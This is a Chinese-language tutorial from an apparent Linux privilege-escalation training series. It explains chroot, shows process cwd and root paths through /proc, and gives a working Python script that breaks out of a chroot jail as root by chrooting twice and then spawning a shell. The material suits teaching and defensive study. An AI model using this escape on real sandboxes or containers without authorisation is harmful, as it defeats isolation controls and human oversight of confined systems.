到目前为止,一直在努力通过不同的技术获得系统上的 root
用户。如果已经是 root
用户但仍然无法访问某些文件并且甚至没有 /root
目录或其他目录(如 /sys
或 /proc
)怎么办.
好吧,不要被这样的root
环境所欺骗。这些类型的环境称为 chroot
监狱。这里将介绍使用二次chroot
方法突破 chrooting
监狱环境
到底什么是chroot
是否遇到过在更新内核版本时系统断电,当再次开机时,内核崩溃的情况?要解决这问题,实际上要做的是
-
引导 live Linux
操作系统 -
挂载根分区 -
Chroot
到新分区并修复问题 -
重新启动系统并移除 Live OS USB
Chroot
是一个系统调用和命令行工具,它更改当前运行进程及其子进程的根目录以创建文件系统级别的隔离,不要将它与当前工作目录混淆。
Linux
操作系统中文件层次结构的顶部是根(/),无法再往上一层。因此,即使在根目录上执行 cd ..
,它也只会进入同一目录, 即使执行100次。
创建 chroot
目录,复制 chroot
环境所需文件来生成 shell
并继续执行。
# id -ur ; whoami
0
root
# mkdir chroot
# cp -a bin/ usr/ lib/ root/ chroot/
# ls
bin chroot dev etc home lib media ... truncated
# chroot chroot/ sh
# id -ur ; whoami
0
whoami: unknown uid 0
# ls
bin lib root usr
是否注意到,whoami
命令失败并显示消息“unknown uid 0
”,这是因为whoami
正在查找 /etc/passwd
文件以将 uid = 0
与用户名进行比较。故意没有复制/etc
目录,以表明常规程序无法脱离 chroot
环境并读取真实的文件系统。
然而,环境变量从主机传递到 chrooted
环境
# export NAME=tbhaxor
# chroot chroot/
# echo $NAME
tbhaxor
所有命令都将从 chroot
继承根目录和从主机继承环境变量。如果在这里添加或修改任何环境变量,都不会影响主机shell
如果寻找 chroot
环境的真实用例,它们已经列在其维基百科页面上 – https://en.wikipedia.org/wiki/Chroot#Uses
了解进程 CWD
与 ROOT
Linux
的/proc
文件系统为当前运行的进程管理两个路径。
-
cwd: 进程的当前工作目录 -
root: 进程的根目录
根目录是指向实际运行程序的 Linux
文件系统的符号链接。通常,它被设置为 /
但对于 chrooted
环境,它被设置为作为第一个参数传递给 chroot
命令的目录路径。它不能直接由进程更改,但 chroot()
系统调用会执行此操作
当前工作目录是进程当前运行的目录(由根目录算起绝对路径)的符号链接。这可以通过调用 cd
或 chdir()
系统调用轻松更改
在 chrooted
环境中实际展示这一点。为了演示,将在 chroot
环境中保持 cat
进程处于打开状态,将从主机文件系统查看 /proc
文件系统
# ps -eaf
PID USER TIME COMMAND
1 root 0:00 /bin/sh
14 root 0:00 bash
22 root 0:00 bash
58 root 0:00 /bin/sh -i
60 root 0:00 cat
62 root 0:00 ps -eaf
# ls -l /proc/60/cwd
lrwxrwxrwx 1 root root 0 Aug 22 22:12 /proc/60/cwd -> /chroot
# ls -l /proc/60/root
lrwxrwxrwx 1 root root 0 Aug 22 22:12 /proc/60/root -> /chroot
现在在 chrooted
环境中将目录更改为“/usr/bin
”并再次运行 cat
程序
# ps -eaf
PID USER TIME COMMAND
1 root 0:00 /bin/sh
14 root 0:00 bash
22 root 0:00 bash
58 root 0:00 /bin/sh -i
66 root 0:00 cat
67 root 0:00 ps -eaf
# ls -l /proc/66/root
lrwxrwxrwx 1 root root 0 Aug 22 22:13 /proc/66/root -> /chroot
# ls -l /proc/66/cwd
lrwxrwxrwx 1 root root 0 Aug 22 22:13 /proc/66/cwd -> /chroot/usr/bin
可见,cwd
已更改但附加到根目录。显然,在主机文件系统中,它将从 /
开始,而不是在这种情况下像 /chroot
这样的任何其他文件夹
了解 Chroot 局限
当您在目录A中执行第一个 chroot
时,它会生成一个具有 root
用户权限的 shell
。对于操作系统,它将在目录A中运行 shell
,但对于 chrooted
,它将在根目录中运行
/
# chroot chroot/
/
# ls -l
total 16
drwxr-xr-x 2 0 0 4096 Aug 6 21:29 bin
drwxr-xr-x 7 0 0 4096 Aug 6 21:29 lib
dr-xr-xr-x 428 0 0 0 Aug 22 22:38 proc
drwx------ 2 0 0 4096 Aug 22 22:38 root
drwxr-xr-x 8 0 0 4096 Aug 6 21:29 usr
/
# ls -l /proc/self/cwd
lrwxrwxrwx 1 0 0 0 Aug 22 22:39 /proc/self/cwd -> /
/
# ls -l /proc/self/root
lrwxrwxrwx 1 0 0 0 Aug 22 22:39 /proc/self/root -> /
在上面的示例中,使用了特权 docker
容器将 /proc
从主机绑定到 chroot
环境中的 /proc
,这将是主机文件系统上的 /chroot/proc
现在 chroot
的局限来了。当以 root
用户运行时,恶意用户可以执行 二次chroot
并且不让内核更改当前工作目录,这样就会有一些对 chrooting
环境外部的引用,在二次chroot
之外执行 chdir("..")
将遍历它到主机文件系统根目录。现在执行 chroot(".")
它将采用来自 cwd
而不是根路径。
所以要脱离 chroot
环境,需要 2 个基本要求
-
特权shell -
任何调用 3 个系统调用的程序
-
mkdir
-
chroot
-
chdir
看看实际效果。运行以下脚本并在此过程中检查 cwd
和 root
import
os
print(
"PID"
, os.getpid())
if
not
os.path.exists(
"chroot"
):
os.mkdir(
"chroot"
)
os.chroot(
"chroot"
)
# almost every exploit will have 1000 iteractions
# since now you know the working, let's use 1
os.chdir(
".."
)
# prevent the python from exiting
input(
"Press enter to exit"
)
运行利用脚本读取input
函数后,再运行一个shell
,找到python
进程的cwd
和root
,会发现如下
/
# ps -eaf
PID USER TIME COMMAND
1 root 0:00 /bin/sh
51 root 0:00 bash
75 root 0:00 /bin/sh -i
78 root 0:00 python exploit.py
81 root 0:00 sh
84 root 0:00 ps -eaf
/
# ls -l /proc/78/cwd
lrwxrwxrwx 1 root root 0 Aug 22 23:16 /proc/78/cwd -> /
/
# ls -l /proc/78/root
lrwxrwxrwx 1 root root 0 Aug 22 23:16 /proc/78/root -> /chroot/chroot
要真正突破,需要添加以下代码行而不是上面代码中的 input()
os.chroot(
"."
)
os.system(
"/bin/sh"
)
下图是执行流程,其中包含突破的执行流程
原文始发于微信公众号(奶牛安全):Linux提权系列16: [训练营]突破chroot监狱
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论